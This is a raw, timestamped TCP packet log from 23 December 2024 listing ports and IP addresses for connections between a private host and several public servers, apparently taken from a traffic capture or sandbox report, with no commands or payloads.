Dec 23, 2024 06:21:38.488935947 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.497637987 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.497654915 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.539308071 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.539544106 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.539577007 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.541080952 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.541138887 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.541575909 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.541657925 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.544492960 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.591352940 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.591381073 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.640237093 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.058228970 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.058264971 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.058363914 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.058398008 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.058612108 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.059257030 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.059267044 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.066205978 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.066907883 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.066915035 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.107444048 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.146775961 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.156847000 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.157399893 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.157440901 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.167603016 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.168761015 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.168781042 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.216782093 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.245769024 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.250010014 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.251363993 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.251372099 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.264198065 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.265973091 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.265979052 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.273966074 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.274027109 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.274033070 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.283768892 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.284019947 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.284027100 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.297568083 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.297643900 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.297652006 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.304359913 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.304765940 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.305016041 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.306571007 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.306607962 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.311156034 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.311198950 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.311206102 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.340495110 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.340543032 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.340555906 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.351783991 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.351830006 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.351839066 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.365169048 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.366996050 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.367007971 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.413146973 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.413156033 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.433154106 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.433834076 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.433841944 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.445344925 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.445425987 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.445507050 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.445524931 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.445561886 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.462568045 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.467329979 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.467348099 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.467386961 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.467392921 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.467427969 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.480931997 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.493586063 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.493648052 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.493695974 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.493705988 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.493746042 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.505184889 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.516343117 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.516367912 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.518743992 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.518755913 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.518800020 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.527242899 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.527384043 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.527928114 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.527935028 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.537597895 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.537636995 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.537643909 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.547463894 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.547631979 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.547641039 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.554693937 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.554754972 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.554763079 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.561939955 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.561979055 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.561985970 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.568996906 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.569555998 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.569564104 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.576293945 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.576337099 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.576349020 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.583515882 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.584093094 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.584100962 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.590734959 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.590792894 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.590800047 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.600687981 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.600733042 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.600739956 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.605174065 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.605218887 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.605223894 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.612373114 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.612416983 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.612423897 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.620791912 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.621043921 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.621051073 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.635921955 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.635967970 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.635973930 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.637279034 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.637331009 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.637336016 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.639746904 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.639836073 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.639842033 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.649838924 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.649888039 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.649894953 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.654299021 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.654349089 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.654355049 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.659712076 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.659796000 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.659801960 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.672882080 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.672930002 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.672936916 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.685689926 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.685734987 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.685741901 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.697092056 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.697141886 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.697149038 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.708209991 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.708257914 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.708264112 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.709331989 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.709377050 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.709383011 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719243050 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719290972 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.719295979 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719336987 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719511986 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.719516993 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719644070 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:39.719692945 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:39.719744921 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:40.022434950 CET	80	49729	44.206.23.126	192.168.2.4
Dec 23, 2024 06:21:40.022537947 CET	49729	80	192.168.2.4	44.206.23.126
Dec 23, 2024 06:21:40.022614956 CET	49729	80	192.168.2.4	44.206.23.126
Dec 23, 2024 06:21:40.142385006 CET	80	49729	44.206.23.126	192.168.2.4
Dec 23, 2024 06:21:40.889398098 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:40.889465094 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:40.889578104 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:40.889841080 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:40.889857054 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:41.912766933 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:42.291841984 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:42.291924953 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.292356968 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.292392015 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:42.294210911 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.294225931 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:42.361593962 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.361646891 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:42.362035036 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.362255096 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:42.362271070 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.350522995 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.350598097 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.350668907 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.351351023 CET	49766	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.351394892 CET	443	49766	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.379709959 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.379798889 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.379878998 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.380064011 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.380100965 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.767889023 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.768023014 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.768572092 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.768585920 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770133972 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770140886 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770222902 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770245075 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770251989 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770268917 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770344019 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770370007 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770382881 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770390987 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770505905 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770529032 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770543098 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770548105 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770555973 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770638943 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770648003 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770654917 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770688057 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770704031 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770755053 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770762920 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770787001 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770796061 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770821095 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770829916 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770832062 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770838976 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770855904 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770867109 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770922899 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.770936966 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.770994902 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.771007061 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:43.771014929 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:43.771018982 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.785990000 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.786077023 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.786521912 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.786564112 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788058996 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788085938 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788153887 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788178921 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788191080 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788211107 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788288116 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788322926 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788337946 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788351059 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:44.788403034 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:44.788422108 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:45.736260891 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:45.736356020 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:45.736367941 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:45.736711025 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:45.737253904 CET	49768	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:45.737276077 CET	443	49768	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:46.244767904 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:46.244874001 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:46.245018005 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.245018959 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.245750904 CET	49769	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.245796919 CET	443	49769	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:46.533323050 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.533381939 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:46.533503056 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.533849001 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:46.533865929 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.536930084 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.537029982 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.537478924 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.537478924 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.537558079 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.936737061 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.936836958 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.937311888 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.937323093 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.939611912 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.939615965 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.939701080 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.939717054 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.939723015 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.939727068 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.939821959 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.939845085 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.939975977 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.940289974 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.940417051 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.940429926 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.940442085 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.940448046 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.940459967 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:47.940493107 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:47.940504074 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:48.060738087 CET	49736	80	192.168.2.4	192.229.221.95
Dec 23, 2024 06:21:48.060821056 CET	49731	80	192.168.2.4	18.66.161.122
Dec 23, 2024 06:21:48.060868979 CET	49733	80	192.168.2.4	13.227.8.41
Dec 23, 2024 06:21:48.181993008 CET	80	49736	192.229.221.95	192.168.2.4
Dec 23, 2024 06:21:48.182051897 CET	49736	80	192.168.2.4	192.229.221.95
Dec 23, 2024 06:21:48.182074070 CET	80	49731	18.66.161.122	192.168.2.4
Dec 23, 2024 06:21:48.182089090 CET	80	49733	13.227.8.41	192.168.2.4
Dec 23, 2024 06:21:48.182123899 CET	49731	80	192.168.2.4	18.66.161.122
Dec 23, 2024 06:21:48.182157993 CET	49733	80	192.168.2.4	13.227.8.41
Dec 23, 2024 06:21:48.940695047 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:48.940799952 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:48.941268921 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:48.941302061 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:48.942905903 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:48.942923069 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.705657959 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.705811977 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.705874920 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.705910921 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.705946922 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.705977917 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.706830025 CET	49770	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.706861973 CET	443	49770	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.991847992 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.991925001 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.991955996 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.991974115 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:49.992006063 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.992031097 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.993067026 CET	49771	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:49.993084908 CET	443	49771	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:50.594820023 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:50.594858885 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:50.594952106 CET	49772	443	192.168.2.4	94.130.188.57
